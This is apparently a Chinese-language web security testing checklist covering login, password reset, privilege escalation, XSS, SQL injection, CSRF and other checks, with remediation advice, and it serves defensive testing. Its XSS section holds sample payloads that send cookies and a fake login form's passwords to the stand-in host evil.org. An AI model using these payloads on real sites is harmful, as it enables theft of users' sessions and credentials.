一、大類檢查點：
二、測試項詳細說明
上傳功能
- 繞過文件上傳檢查功能
- 上傳文件大小和次數限制
注冊功能
- 注冊請求是否安全傳輸
- 注冊時密碼復雜度是否后台校驗
- 激活鏈接測試
- 重復注冊
- 批量注冊問題
登錄功能
- 登錄請求是否安全傳輸
- 會話固定：Session fixation attack(會話固定攻擊)是利用服務器的session不變機制，借他人之手獲得認證和授權，然后冒充他人。
- 關鍵cookie是否HTTPONLY：如果Cookie設置了HttpOnly標志，可以在發生XSS時避免JavaScript讀取Cookie。
但很多Cookie需要給前端JS使用。所以這里只需要關注關鍵Cookie,即唯一標識用戶及登錄狀態的會話標識需要添加這個屬性。
- 登錄請求錯誤次數限制
- “記住我”功能：勾選“記住我”后，Cookie中記錄了用戶名和密碼信息。。。
- 本地存儲敏感信息
驗證碼功能
- 驗證碼的一次性
- 驗證碼繞過
- 短信驗證碼轟炸：如果這個接口沒有限制策略，就會被人惡意利用
忘記密碼功能
- 通過手機號找回：不過由於程序設計不合理，導致可以繞過短信驗證碼，從而修改別人的密碼。（使用burpsuite抓包，修改響應值true）
- 通過郵箱找回
密碼安全性要求
- 密碼復雜度要求
- 密碼保存要求
橫向越權測試
不同用戶之間session共享，可以非法操作對方的數據。
縱向越權測試
很多應用簡單的通過前端判斷，或者低權限角色看不到對應的菜單，但並未在后台去做當前登錄用戶是否有權限。
- XSS測試
跨站腳本攻擊(Cross Site Scripting)：惡意攻擊者往Web頁面里插入惡意Script代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。
- 反射型XSS
利用請求參數param2，進行XSS注入，設置js等可執行或可跳轉語句。param2=<script>document.write('<imgsrc="http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'"/>')</script>。
這個網站的已登錄用戶去點擊，cookie會被發送到 evil.org 上去。
處理意見：對特殊字符轉義輸出，特別是'"<>這幾個。
- 存儲型XSS
在論壇上發表帖子，假設論壇有漏洞，可以在帖子中注入下面的JS內容：
<script>
document.body.innerHTML="<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
當其他用戶瀏覽該帖子時，就會彈出登錄框，如圖（用戶名+密碼登陸界面）。
這是頁面中注入的XSS生成的，如果您輸入了賬號密碼，那就被發送給黑客了。
處理意見：對特殊字符轉義輸出，特別是如下幾個'"<>
- DOM型XSS
基於DOM型XSS樣例，相比較與Reflected、Stored XSS屬於server side execution issues而言，DOM based XSS 是client(browser)side execution issue。
Step1：如下面請求的hash部分，由客戶端JS動態執行產生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert('xss')\u003e
Step2：動態生成：<divid="m"><iframeonload="alert('xss')"></iframe></div>
這個比較難測試，一般需要閱讀頁面中的JS代碼，去分析。沒有固定的測試步驟，還是需要大家自己多學習。不作為強制項，WebInspect掃過即可。
處理意見：對特殊字符轉義輸出，特別是'"<>。
SQL注入測試
SQL注入攻擊的基本原理是通過構建特殊的輸入參數，迫使后台數據庫執行額外的SQL語句，從而達到獲取數據庫數據的目的。
這些輸入參數往往包含惡意的SQL注入語句，后台處理程序沒有對這些參數進行過濾，且所使用的數據庫查詢手段為拼接方式，進而導致敏感數據外泄。
在動態構造SQL語句的過程中，除了特殊字符處理不當引起的SQL注入之外，錯誤處理不當也會為Web站點帶來很多安全隱患。
最常見的問題就是將詳細的內部錯誤信息顯示給攻擊者。這些細節會為攻擊者提供與網站潛在缺陷相關的重要線索。
在SQL注入的過程中，如果Web服務器關閉了錯誤回顯，那么是不是就安全了呢？答案顯然是否定的，攻擊者仍然可以通過 "盲注"技巧測試SQL命令是否注入成功。
所謂"盲注"就是在服務器沒有錯誤回顯時完成的注入方式，攻擊者必須找到一個方法來驗證注入的SQL語句是否執行。
"盲注"主要分為兩種類型：基於時間的盲注和布爾盲注。
測試方法（黑盒）：sqlmap是一個自動化的SQL注入工具，其主要功能是掃描，發現並利用給定的URL的SQL注入漏洞，
測試方法（白盒）：如果項目的數據庫持久層框架是mybatis，並且他的sqlmap中編寫方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入問題。
注：sqlMap中盡量不要使用$;$使用的是Statement（拼接字符串），會出現注入問題。#使用的是PreparedStatement（類似於預編譯），將轉義交給了數據庫，不會出現注入問題；前者容易出現SQL注入之類的安全問題，所以mybatis推薦使用#。
寫接口限制測試
比如：找回密碼的郵件。多次調用，造成郵件轟炸。
新增的接口，如寫文章、上傳文件等。這些接口如果沒有任何限制，那么惡意用戶使用程序無限循環的調用接口，就會寫入大量的數據。通過並發、循環方式上傳大量文件，填滿磁盤，消耗服務器資源。
修復建議：對寫入量大的接口（如上傳）做必要的限制。
CSRF測試
CSRF（Cross-site requestforgery），中文名稱：跨站請求偽造。用戶C在為退出A的情況下，瀏覽B，B使用C的session非法訪問A。
檢查：
Ø 是否有防御CSRF的隨機數。驗證碼、csrf_token等都是。 有則 （通過）
Ø 是否驗證referer。有則（通過）
Ø 請求的參數均可推測，無CSRF防御機制。（不通過）
測試中，需要對所有寫接口檢查，可以采用如下方式，記錄接口，標記是否已檢查。
修復建議：
Ø 方法1：驗證碼
驗證碼制用戶必須與應用進行交互，才能完成最終請求。因此在通常情況下，驗證碼能夠很好地遏制CSRF攻擊。
但是這種方式易用性方面似乎不是太好，並且對於簡單的圖形驗證碼也有很多繞過機制。防御CSRF的一種輔助手段
Ø 方法2：Referer 驗證
當瀏覽器發送一個HTTP請求時一般都會在Referer中表明發起請求的URL。
通過Referer我們可以通過判斷一個請求是否為同域下發起的來防御CSRF，但是Referer可能會包含一些敏感信息甚至在某些情況下能夠被偽造。
因此我們無法依賴於Referer來作為防御CSRF的主要手段，但是可以通過Referer來監控CSRF攻擊的發生。
Ø 方法3：Token驗證
在請求原參數不變的條件下，新增了一個隨機的、不可預測參數Token是目前最普遍有效的方式。
后端在對數據處理前會首先對Token參數進行驗證，只有用戶請求中的Token與用戶Session（或Cookie）中的Token一致時，才會認為請求是合法的。
由於Token的存在，攻擊者就無法構造一個完整的請求實施CSRF攻擊，從而保證了網站或系統的安全。
敏感信息泄露
SVN信息泄露：有數據庫賬號和密碼等信息；
頁面泄露敏感信息：有些WEB應用，在返回給客戶端的響應中，包含了敏感信息，例如密碼。
目錄遍歷
在web應用中，如下圖所示的顯示目錄文件列表，會帶來一定的安全隱患（服務器文件列表）。
CRLF
CRLF就是HTTP響應頭拆分漏洞。是對用戶輸入的CR 和LF字符沒有進行嚴格的過濾導致的。
修復建議：過濾CR和LF字符。或者轉義。
任意文件讀取
URL重定向
點擊劫持ClickJacking
XXE
SSRF
CORS問題